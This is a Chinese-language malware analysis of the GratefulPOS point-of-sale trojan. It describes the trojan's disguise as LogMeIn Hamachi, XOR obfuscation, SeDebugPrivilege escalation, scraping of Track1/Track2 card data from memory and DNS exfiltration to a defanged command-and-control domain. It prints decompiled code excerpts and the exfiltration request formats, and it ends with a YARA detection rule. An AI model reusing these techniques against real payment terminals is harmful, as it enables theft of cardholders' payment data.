关于POS恶意软件
POS恶意软件,其攻击的目标是运行着销售终端的物理设备,该系列恶意软件会检查进程的内存中是否有与信用卡数据(Track1和Track2数据)结构相匹配的数据,例如账户号码、卡片使用期限,以及存储在磁条上的其他信息。在第一次刷卡之后,直到确认这些数据应发送到何处之前,个人账号(PAN)以及其他相关数据都会保存在内存中未加密的位置,这就给了POS恶意软件可乘之机。
关于GratefulPOS
GratefulPOS会伪装成远程接入软件LogMein,该软件疑似出现于2017年秋天购物季,并且根据VirusTotal的早期检测结果,该软件的反病毒软件检测率非常低。第一个样本于2017年11月被上传。此外,此恶意软件似乎与一些其他的POS恶意软件存在一定联系,同时也与一些在过去严重违规的商户存在关联。GratefulPOS恶意软件通过DNS与所谓的“grp1”活动标识符进行通信,并且在通信中包含调试的Track 2数据,我们推测其原因是用作测试。
恶意软件服务的安装及持久性
GratefulPOS恶意软件所做的第一件事,就是为自己创建一个持久性的服务。该恶意软件将自己伪装成一个名为“LogMeIn Hamachi Launcher”的进程,该进程看起来像是合法的,其名称简写为“LogMeInHamachi”。这里需要说明的是,LogMeIn Hamachi是一个虚拟私人网络(VPN)应用,可以在无需重新配置的前提下,为NAT防火墙后的计算机之间创建直接链接。这样一来,用户的计算机就可以直接被访问,而无需再依赖于互联网或者广域网。该VPN软件深受管理员和技术人员的喜爱,他们可能会需要远程登录到银行卡消费终端网络,以解决IT管理及网络问题。
该恶意软件的控制函数,包含四个函数:停止(stop)、启动(service)、安装(install)以及卸载(uninstall)。其中,安装函数会利用OpenSCManagerA、CreateServiceA来创建服务,并且其创建的服务描述为“为LogMeInHamachi服务提供启动功能”。除此之外,它还创建了一个名为“DLLLaunchasdf1”的唯一互斥锁。
字节字符串生成、使用0AAh作为密钥的XOR编码器
在整个执行过程中,恶意软件在循环*(&byte_memory ++) ^= 0x4Dh(经由mov、xor、shl、movsx和shl调用)中,经过XOR字节部分,从而生成一些容易引起注意的字符串,如下所示:
4060320344370557=19022010000068600000
ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
SeDebugPrivilege
0.0.0.0
recv
send
通常,恶意软件编写着会建立字符串路径,来绕过一些静态的防病毒检测机制。值得注意的是,GratefulPOS恶意软件通过硬编码的XOR字节密钥,来混淆它窃取到的数据,如下所示:
*((_BYTE
*)value + iter) ^= 0AAh
并且,将其转换为十六进制,并添加到snprintf API调用中。使用的硬编码字节密钥是“0AAh”。除此之外,当恶意软件在对数据进行XOR操作时,还会检查硬编码的字符串数组。XOR密钥函数的位置如下所示:
-------
--------
Address Function
------- --------
.text:004030DB notice_write_func
.text:00403847 memory_parser
.text:00403873 memory_parser
.text:004039DE memory_parser
.text:00406C43 computer_name_gen
内存刮取(Memory Scraping)调试特权
随后,POS恶意软件试图利用GetCurrentProcess、OpenProcessToken、LookupPrivilegeValueA和AdjustTokenPrivileges这些API调用的组合,来获取“SeDebugPrivilege”权限,用于进行内存分析。
int __cdecl sedebug_escalation(LPCSTR lpName)
{
HANDLE v1;
int result;
DWORD ReturnLength;
HANDLE TokenHandle;
struct _TOKEN_PRIVILEGES NewState;
memset(&NewState, 0, 0x10u); // GratefulPOS obtain SeDebugPrivilege
NewState.PrivilegeCount = 1;
v1 = GetCurrentProcess();
if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) )
{
if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) )
{
NewState.Privileges[0].Attributes = 2;
if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) )
{
CloseHandle(TokenHandle);
result = 1;
}
else
{
CloseHandle(TokenHandle);
result = 0;
}
}
else
{
CloseHandle(TokenHandle);
result = 0;
}
}
else
{
result = 0;
}
return result;
}
客户端-服务器通信
恶意软件继续使用AllocateAndInitializeSid和EqualSid检查SID,以查看它是否已经成功调用。如果返回调用等于“1”,那么恶意软件会复制并储存字符串“adm”(表示管理员权限)。否则,GratefulPOS复制并存储字符串“nadm”(表示没有管理员权限)。
最终,恶意软件将此信息作为ping.%s.%s.%s.%s的一部分,并将其作为第一个参数存储,以连接服务器ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0,其中的bot id是通过GetComputerNameA进行XOR,使用“0AAh”作为字节密钥,并转换成十六进制)。总之,恶意软件会在一个单独的线程中运行,并调用Server。POS恶意软件在下一次调用Server时,会随机休眠2-3小时(rand() % 3600000 + 7200000)。在将数据发送到服务器时,GratefulPOS还会将可能的活动标识符作为“grp1”添加到请求中。值得注意的是,如果恶意软件读取到值为“cccc”,它会从系统中将自己移除。该恶意软件同时还会收集本地计算机名和本地IP地址。
signed int __cdecl get_http_resolve_func(int a1)
{
signed int result;
char v2;
int v3;
int v4;
int v5;
int v6;
int v7;
int v8;
int v9;
int v10;
char v11;
char v12;
v11 = 0;
memset(&v12, 0, 0x7FFu);
_snprintf(&v11, 2047u, "%s.%s.%s.%s", logmein_bid_value (bot_id), 'grp1', a1, &name);
v10 = 0;
v6 = 0;
memset(&v2, 0, 0x20u);
v3 = 0;
v4 = 1;
v5 = 17;
v7 = call_c2((int)&v11, (int)"http", (int)&v2, (int)&v10);
if ( v7 )
{
result = -1;
}
else
{
v8 = *(_DWORD *)(v10 + 24);
v9 = *(_DWORD *)(v8 + 4);
if ( v9 == 'cccc' )
self_delete_func();
func_6(v10);
result = 0;
}
return result;
生成记录器文件和收集器文件
接下来,POS恶意软件会打开文件“logmein[.]bid”,此时它具有读取权限,并且会读取前10个字节。如果没有退出,它会创建一个“logmein[,]bid”文件,并且通过rand() % 255命令,来创建四个两位的0-255之间有符号整数,以十六进制表示。该生成的字符串,将会被伪装成系统的“.dat”文件,但实际上是作为数据窃取(exfiltration)的文件标记。
“刮取进程”函数中的白名单
然后,POS恶意软件通过CreateToolhelp32Snapshot获得当前运行的进程快照,并与内存刮取函数的白名单进行比较。白名单内的进程如下:
wininit.exe
services.exe
smss.exe
csrss.exe
winlogon.exe
sched.exe
lsass.exe
svchost.exe
conhost.exe
ctfmon.exe
spoolsv.exe
System
taskmgr.exe
explorer.exe
wmiprvse.exe
mdm.exe
chrome.exe
Chrome.exe
RegSrvc.exe
firefox.exe
这样做是为了排除已知与销售终端不相关的软件,从而缩短在内存中寻找Track数据的时间。
内存刮取的逻辑
GratefulPOS继续使用VirtualQueryEx读取缓冲区来读取进程的内存页,会一次性读取Buffer.State & 0x1000 && Buffer.Protect & 0xCC。如果进程文件的路径长度为5个字符及以上,恶意软件也会进行比较。随后,POS恶意软件通过ReadProcessMemory API来扫描内存区域,查找Track1和Track2数据。如果Track1和Track2数据分别满足140和60字符,那么会以“tt1.%s.%s.%s.%s”Track 1 data、“tt2.%s.%s”Track 2 data的格式,将其写入“.dat”文件中。恶意软件还会检查其是否可以到达服务器,并在多次尝试后删除窃取的数据。此外,GratefulPOS将“通知”添加到同一文件中,以标记调试器的输出结果。
我们监测到的请求数据结构如下:
[HOST_ID].grp1.ping.[ADMIN].[LOCAL_IP].[LOCAL_USERNAME].ns[.]a193-45-3-47-deploy-akamaitechnologies.com
[HOST_ID].grp1.notice.[PROCESS_ATTACHED].ns[.]a193-45-3-47-deploy-akamaitechnologies.com
[HOST_ID].grp1.tt1.[TRACK1_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com
[HOST_ID].grp1.tt2.[TRACK2_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com
Luhn算法
恶意软件还通过运行Luhn算法来验证卡的信息,以避免有错误的Track数据。其中,Track数据以4开头的是VISA,以5开头的是Mastercard,以6开头的是Discover,以34开头的是AMEX,以37开头的是AMEX,以36开头的是Diner’s Club,以300-305开头的是Diner’s Club。
验证个人账号(PAN)有效性的Luhn函数如下:
BOOL __cdecl Luhn_Check(char *a1)
{
size_t v1;
int v3;
signed int v4;
signed int v5;
size_t v6;
int v7;
int v8;
int v9;
int v10;
int v11;
int v12;
int v13;
int v14;
int v15;
int v16;
v7 = 0;
v8 = 2;
v9 = 4;
v10 = 6;
v11 = 8;
v12 = 1;
v13 = 3;
v14 = 5;
v15 = 7;
v16 = 9;
v5 = 1;
v4 = 0;
v6 = strlen(a1);
while ( 1 )
{
v1 = v6--;
if ( !v1 )
break;
if ( v5 )
v3 = a1[v6] - 48;
else
v3 = *(&v7 + a1[v6] - 48);
v4 += v3;
v5 = v5 == 0;
}
return v4 % 10 == 0;
}
自我删除的进程
恶意软件在读取到“cccc”指令后,会将其自身删除,并且删除相应的注册表项“LogMeIn Hamachi Launcher”。
Yara签名
rule crime_win32_gratefulpos_trojan {
meta:
description = "GratefulPOS malware variant"
author = "@VK_Intel"
reference = "Detects POS"
date = "2017-12-10"
strings:
$s0 = "conhost.exe" fullword ascii
$s1 = "del logmeinlauncher.exe" fullword ascii
$s2 = "Chrome.exe" fullword ascii
$s3 = "taskmgr.exe" fullword ascii
$s4 = "firefox.exe" fullword ascii
$s5 = "logmeinlauncher.exe stop" fullword ascii
$s6 = "ping 1.1.1.1 -n 1 -w 3000 > nul" fullword ascii
$s7 = "Ymscoree.dll" fullword wide
$s8 = "LogMeInHamachi Process Launcher" fullword ascii
$s9 = "sched.exe" fullword ascii
$s10 = "wininit.exe" fullword ascii
$s11 = "wmiprvse.exe" fullword ascii
$s12 = "RegSrvc.exe" fullword ascii
$s13 = "mdm.exe" fullword ascii
$s14 = "GET /index.php HTTP/1.0" fullword ascii
$s15 = "LogMeIn Hamachi Launcher" fullword ascii
$s16 = "logmein.bid" fullword ascii
$s17 = "del sd.bat" fullword ascii
$s`8 = "sd.bat" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and 10 of them